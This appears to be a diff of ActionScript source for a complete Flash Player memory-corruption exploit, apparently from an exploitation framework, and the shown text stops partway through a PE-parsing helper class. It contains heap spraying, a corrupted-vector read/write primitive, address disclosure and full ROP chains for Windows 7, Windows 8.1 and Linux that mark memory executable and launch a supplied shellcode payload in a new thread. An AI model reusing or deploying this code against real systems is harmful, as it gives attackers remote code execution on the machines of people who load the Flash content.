|
public class Exploit extends Sprite
|
||||||
|
{
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var os:String
|
||||||
|
private var exploiter:Exploiter
|
||||||
|
|
||||||
|
public var bytes:Class;
|
||||||
|
public var video:Video = new Video(640, 480);
|
||||||
|
public var vecVectors:Vector.<Object>;
|
||||||
|
|
||||||
|
public function Exploit():void {
|
||||||
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||||
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
|
var pattern:RegExp = / /g;
|
||||||
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
b64.decode(b64_payload)
|
||||||
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
|
addChild(video)
|
||||||
|
var nc:NetConnection = new NetConnection()
|
||||||
|
nc.addEventListener(NetStatusEvent.NET_STATUS , onConnect)
|
||||||
|
nc.addEventListener(AsyncErrorEvent.ASYNC_ERROR , trace)
|
||||||
|
var metaSniffer:Object=new Object()
|
||||||
|
metaSniffer.onMetaData=getMeta
|
||||||
|
nc.connect(null)
|
||||||
|
var ns:NetStream = new NetStream(nc)
|
||||||
|
ns.client = metaSniffer
|
||||||
|
video.attachNetStream(ns)
|
||||||
|
vecVectors = new Vector.<Object>(0x1000)
|
||||||
|
for ( var i:uint = 0; i < vecVectors.length; ++ i ) {
|
||||||
|
vecVectors[i] = new Vector.<uint>((0x2000 - 8) / 4);
|
||||||
|
vecVectors[i][0] = 0xdeedbeef;
|
||||||
|
}
|
||||||
|
|
||||||
|
for ( i = 0; i < vecVectors.length; i += 2 ) {
|
||||||
|
vecVectors[i] = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
ns.addEventListener(NetStatusEvent.NET_STATUS, statusChanged)
|
||||||
|
ns.play("poc2.flv")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function go():void {
|
||||||
|
var bigVector:Vector.<uint> = null;
|
||||||
|
for ( var i:uint = 0; i < vecVectors.length; i++ ) {
|
||||||
|
if (vecVectors[i] == null) continue
|
||||||
|
if ( vecVectors[i].length > (0x2000 - 8) / 4 ) {
|
||||||
|
bigVector = vecVectors[i] as Vector.<uint>
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( null == bigVector ) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for ( i = 0; i < 0x2000; i++ ) {
|
||||||
|
if (bigVector[i] == 0x7fe && bigVector[i + 2] == 0xdeedbeef) {
|
||||||
|
bigVector[0x3fffffff] = bigVector[i + 1]
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for ( i = 0; i < vecVectors.length; i++ ) {
|
||||||
|
if (vecVectors[i] == null) continue
|
||||||
|
if (vecVectors[i].length != 0x7fe) {
|
||||||
|
delete(vecVectors[i])
|
||||||
|
vecVectors[i] = null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
exploiter = new Exploiter(this, platform, os, payload, bigVector, 0x7fe)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function statusChanged(stats:NetStatusEvent):void {
|
||||||
|
if (stats.info.code == 'NetStream.Play.Stop') {
|
||||||
|
WaitTimer(1000)
|
||||||
|
go()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function getMeta (mdata:Object):void {
|
||||||
|
video.width=mdata.width/2
|
||||||
|
video.height=mdata.height/2
|
||||||
|
}
|
||||||
|
|
||||||
|
private function onConnect(e:NetStatusEvent):void {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
private function WaitTimer(time:int):void{
|
||||||
|
var current:int = getTimer()
|
||||||
|
while (true) {
|
||||||
|
if ((getTimer() - current) >= time) break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class ExploitByteArray
|
||||||
|
{
|
||||||
|
private const MAX_STRING_LENGTH:uint = 100
|
||||||
|
public var ba:ByteArray
|
||||||
|
public var original_length:uint
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||||
|
{
|
||||||
|
ba = new ByteArray()
|
||||||
|
ba.length = l
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.writeUnsignedInt(0)
|
||||||
|
platform = p
|
||||||
|
original_length = l
|
||||||
|
}
|
||||||
|
|
||||||
|
public function set_length(length:uint):void
|
||||||
|
{
|
||||||
|
ba.length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_length():uint
|
||||||
|
{
|
||||||
|
return ba.length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function lets_ready():void
|
||||||
|
{
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
if (platform == "linux") {
|
||||||
|
ba.length = 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (ba.length == 0xffffffff)
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read_string(addr:uint, length:uint = 0):String
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
if (length == 0)
|
||||||
|
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||||
|
else
|
||||||
|
return ba.readUTFBytes(length)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,75 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class ExploitVector
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
public var original_length:uint
|
||||||
|
|
||||||
|
public function ExploitVector(v:Vector.<uint>, length:uint)
|
||||||
|
{
|
||||||
|
uv = v
|
||||||
|
original_length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function restore():void
|
||||||
|
{
|
||||||
|
uv[0x3ffffffe] = original_length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (uv.length > original_length)
|
||||||
|
{
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function at(pos:uint):uint
|
||||||
|
{
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pos: position where a Vector.<Object>[0] lives
|
||||||
|
public function set_own_address(pos:uint):void
|
||||||
|
{
|
||||||
|
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
public function search_pattern(pattern:uint, limit:uint):uint
|
||||||
|
{
|
||||||
|
for (var i:uint = 0; i < limit/4; i++) {
|
||||||
|
if (uv[i] == pattern) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,399 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.System
|
||||||
|
|
||||||
|
public class Exploiter
|
||||||
|
{
|
||||||
|
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||||
|
private var exploit:Exploit
|
||||||
|
private var ev:ExploitVector
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var op_system:String
|
||||||
|
private var pos:uint
|
||||||
|
private var byte_array_object:uint
|
||||||
|
private var main:uint
|
||||||
|
private var stack_object:uint
|
||||||
|
private var payload_space_object:uint
|
||||||
|
private var buffer_object:uint
|
||||||
|
private var buffer:uint
|
||||||
|
private var vtable:uint
|
||||||
|
private var stack_address:uint
|
||||||
|
private var payload_address:uint
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
||||||
|
|
||||||
|
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
|
||||||
|
{
|
||||||
|
exploit = exp
|
||||||
|
payload = p
|
||||||
|
platform = pl
|
||||||
|
op_system = os
|
||||||
|
|
||||||
|
ev = new ExploitVector(uv, uv_length)
|
||||||
|
if (!ev.is_ready()) return
|
||||||
|
eba = new ExploitByteArray(platform)
|
||||||
|
spray_objects()
|
||||||
|
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||||
|
ev.set_own_address(pos)
|
||||||
|
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||||
|
disclose_addresses()
|
||||||
|
corrupt_byte_array()
|
||||||
|
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||||
|
do_rop()
|
||||||
|
restore_byte_array()
|
||||||
|
ev.restore()
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function spray_objects():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
|
{
|
||||||
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
spray[i][0] = eba.ba
|
||||||
|
spray[i][1] = exploit
|
||||||
|
spray[i][2] = stack
|
||||||
|
spray[i][3] = payload_space
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_objects():uint
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - search_objects()")
|
||||||
|
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
|
||||||
|
return idx + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_objects():Boolean
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_objects()")
|
||||||
|
byte_array_object = ev.at(pos) - 1
|
||||||
|
main = ev.at(pos + 1) - 1
|
||||||
|
stack_object = ev.at(pos + 2) - 1
|
||||||
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_addresses():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x10)
|
||||||
|
buffer = ev.read(buffer_object + 0x1c)
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x40)
|
||||||
|
buffer = ev.read(buffer_object + 8)
|
||||||
|
}
|
||||||
|
vtable = ev.read(main)
|
||||||
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function corrupt_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8) // *array
|
||||||
|
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
eba.lets_ready()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function restore_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8, buffer) // *array
|
||||||
|
ev.write(buffer_object + 16, 1024) // capacity
|
||||||
|
}
|
||||||
|
eba.set_length(eba.original_length)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
|
if (platform == "linux") {
|
||||||
|
do_rop_linux()
|
||||||
|
} else if (platform == "win") {
|
||||||
|
if (op_system == "Windows 8.1") {
|
||||||
|
do_rop_windows8()
|
||||||
|
} else if (op_system == "Windows 7") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows8():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||||
|
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_linux():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||||
|
var flash:Elf = new Elf(eba, vtable)
|
||||||
|
var feof:uint = flash.external_symbol('feof')
|
||||||
|
var libc:Elf = new Elf(eba, feof)
|
||||||
|
var popen:uint = libc.symbol("popen")
|
||||||
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
// 1) Recover original vtable
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
// 2) Recover original stack
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
|
// Put the popen parameters in memory
|
||||||
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
|
|
||||||
|
// Put the fake stack/vtable on memory
|
||||||
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||||
|
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||||
|
|
||||||
|
// Return to mprotect()
|
||||||
|
eba.write(stack_address + 0x18034, mprotect)
|
||||||
|
// Return to stackpivot (jmp over mprotect parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mprotect() arguments
|
||||||
|
eba.write(0, buffer) // addr
|
||||||
|
eba.write(0, 0x1000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
|
// Return to CoE (fix stack and object vtable)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
// clone() arguments
|
||||||
|
eba.write(0, 0x70000000) // code
|
||||||
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
|
//call DWORD PTR [eax+0x24]
|
||||||
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
//EDI: 0xad857088 ("AAAA\377")
|
||||||
|
eba.write(main, stack_address + 0x18000)
|
||||||
|
exploit.hasOwnProperty('msf')
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - cleanup()")
|
||||||
|
spray = null
|
||||||
|
stack = null
|
||||||
|
payload_space = null
|
||||||
|
eba = null
|
||||||
|
ev = null
|
||||||
|
exploit = null
|
||||||
|
System.pauseForGCIfCollectionImminent(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,32 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.external.ExternalInterface
|
||||||
|
|
||||||
|
public class Logger {
|
||||||
|
private static const DEBUG:uint = 0
|
||||||
|
|
||||||
|
public static function alert(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("alert", str)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function log(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("console.log", str)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,72 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class PE
|
||||||
|
{
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
|
||||||
|
public function PE(ba:ExploitByteArray)
|
||||||
|
{
|
||||||
|
eba = ba
|
||||||
|
}
|
||||||
|
|
||||||
|
public function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
var mod_name:String
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||||
|
